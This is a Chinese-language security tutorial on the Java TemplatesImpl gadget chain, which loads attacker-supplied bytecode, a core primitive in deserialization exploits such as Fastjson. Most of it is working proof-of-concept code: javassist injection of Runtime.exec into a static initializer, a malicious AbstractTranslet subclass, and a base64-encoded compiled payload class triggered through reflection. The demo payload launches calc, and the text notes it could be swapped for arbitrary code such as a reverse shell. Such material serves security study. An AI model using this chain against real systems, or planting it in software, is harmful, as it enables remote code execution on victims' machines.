TemplatesImple链加载字节码
http://note.youdao.com/s/UqSy1qZv
TemplatesImple链加载字节码
是⼀个可以加载字节码的类,通过调⽤其 newTransformer() ⽅法,即可执⾏这段字节码的类构造方法或静态方法
通过ClassLoader#loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
要经历下面三个方法的调用:
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
- findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
- defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
所以类加载的核心就是最后的defineClass,我们可以先写一个demo来演示
导入pom.xml
<dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.1.GA</version> </dependency>
package com.example.FastjsonVuln; import javassist.ClassPool; import javassist.CtClass; import java.lang.reflect.Method; public class DefineClassTest { public static void main(String[] args) throws Exception { // 生成一个Java字节码文件 ClassPool pool = ClassPool.getDefault();//返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool,返回的 ClassPool 对象搜索默认系统搜索路径。 CtClass test = pool.makeClass("Test");//创建一个testl类 String cmd = "Runtime rt = Runtime.getRuntime();Process proc = rt.exec(\"calc\");"; test.makeClassInitializer().insertBefore(cmd);//能够创建staic代码块,JVM加载类时会执行这些静态的代码块 byte[] bytes = test.toBytecode();//转换成字节码 // 由于defineClass默认属性是protected,所以要用反射的方法来获取该方法 Class<?> Clazz = Class.forName("java.lang.ClassLoader"); Method defineClass = Clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); Class test1 = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Test", bytes, 0, bytes.length); test1.newInstance(); } }
获取到一个Java字节码文件之后,可以通过ClassLoader#defineClass来把它变成真正的Java类。但是在defineClass执行的时候并不会触发static代码块或者类的构造方法的,只有当显式调用其构造函数的时候才会被执行。因为ClassLoader#defineClass的属性是protected,所以无法直接在类外部访问,在实际情况中很少直接利用这种方式。
但是在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中的内部类TransletClassLoader重写了defineClass方法,
static final class TransletClassLoader extends ClassLoader { ······ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } ······ }
并且这个方法没有声明作用域,默认为default,可以在类外部被调用,所以就有了下面这条链:
TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TransletClassLoader#defineClass or TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码 ... Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。
另外TemplatesImpl中对于加载的字节码有一定的要求:这个字节码所对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。因为:TemplatesImpl#getTransletInstance() 方法中455行,AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 转换成了AbstractTranslet,在java中由于继承子类是自动转换成父类,所以我们的poc需要继承AbstractTranslet这个类
package com.example.FastjsonVuln; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Calc extends AbstractTranslet { public Calc() throws IOException { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Calc t = new Calc(); } }
package com.example.FastjsonVuln; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.util.Base64; public class HelloTemplatesImpl { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { // source: bytecodes for calc.class byte[] code = Base64.getDecoder().decode("yv66vgAAADIAOgoACgAoCgApACoHACsIACwIAC0IAC4KACkALwcAMAoACAAoBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2V4YW1wbGUvRmFzdGpzb25WdWxuL0NhbGM7AQAKRXhjZXB0aW9ucwcAMgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAMwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwA0AQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACwAMBwA1DAA2ADcBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kAQACL2MBAARjYWxjDAA4ADkBAB1jb20vZXhhbXBsZS9GYXN0anNvblZ1bG4vQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAKAAAAAAAEAAEACwAMAAIADQAAAFEABQABAAAAHyq3AAG4AAIGvQADWQMSBFNZBBIFU1kFEgZTtgAHV7EAAAACAA4AAAAOAAMAAAAMAAQADQAeAA4ADwAAAAwAAQAAAB8AEAARAAAAEgAAAAQAAQATAAEAFAAVAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAASAA8AAAAqAAQAAAABABAAEQAAAAAAAQAWABcAAQAAAAEAGAAZAAIAAAABABoAGwADAAEAFAAcAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAXAA8AAAAgAAMAAAABABAAEQAAAAAAAQAWABcAAQAAAAEAHQAeAAIAEgAAAAQAAQAfAAkAIAAhAAIADQAAAEEAAgACAAAACbsACFm3AAlMsQAAAAIADgAAAAoAAgAAABoACAAbAA8AAAAWAAIAAAAJACIAIwAAAAgAAQAkABEAAQASAAAABAABACUAAQAmAAAAAgAn"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "Calc"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); } }
可成功弹出计算机
其中的setFieldValue方法是我们用来获取私有字段并初始化值,这儿我们有3个字段 _bytecodes,_name,_tfactory
- _bytecodes 是由编译好的Calc.class(也是我们的payload)的base64编码;TemplatesImpl#defineTransletClasses函数我们可以通过defineclass(414行)来从_bytecodes中加载恶意类
- _name 只要不为null即可;因为在TemplatesImpl#getTransletInstance() 方法(#449行) if语句判断了_name不能为空
- _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错
分析整个gadget链可以看参考连接1
参考连接
分析templatesImpl 加载字节码:https://xz.aliyun.com/t/7096#toc-1
P神知识星球13篇